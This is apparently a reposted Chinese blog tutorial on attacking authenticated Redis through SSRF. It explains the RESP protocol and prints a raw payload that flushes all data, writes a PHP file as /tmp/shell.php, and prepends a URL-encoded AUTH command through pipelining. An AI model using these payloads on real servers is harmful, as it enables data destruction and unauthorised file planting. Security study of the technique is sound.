SSRF打认证的redis

时间:2020-05-28
本文章向大家介绍SSRF打认证的redis,主要包括SSRF打认证的redis使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

redis客户端在向服务端传输数据用到的是RESP协议

  • 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
  • Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。

Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串

我们要了解它的编码方式

一个$字节后跟组成字符串的字节数(一个前缀长度),由CRLF终止。

现在数据包中的每一行数据就好理解了。每一个*number代表每一行命令,number代表每行命令中数组中的元素个数。$number代表每个元素的长度。

*1
$8
flushall
*3
$3
set
$1
1
$22


<?php phpinfo();?>


*4
$6
config
$3
set
$3
dir
$4
/tmp
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

认证:

sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf

认证传递的字符数组

*2
$4
AUTH
$6
123123

官网对于命令的说明

Request-Response model.
A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..

 

Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读。

这也是Redis在认证情况下依然可以被攻击到原因。

重新构造数据包

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A

原文地址:https://www.cnblogs.com/zzjdbk/p/12980208.html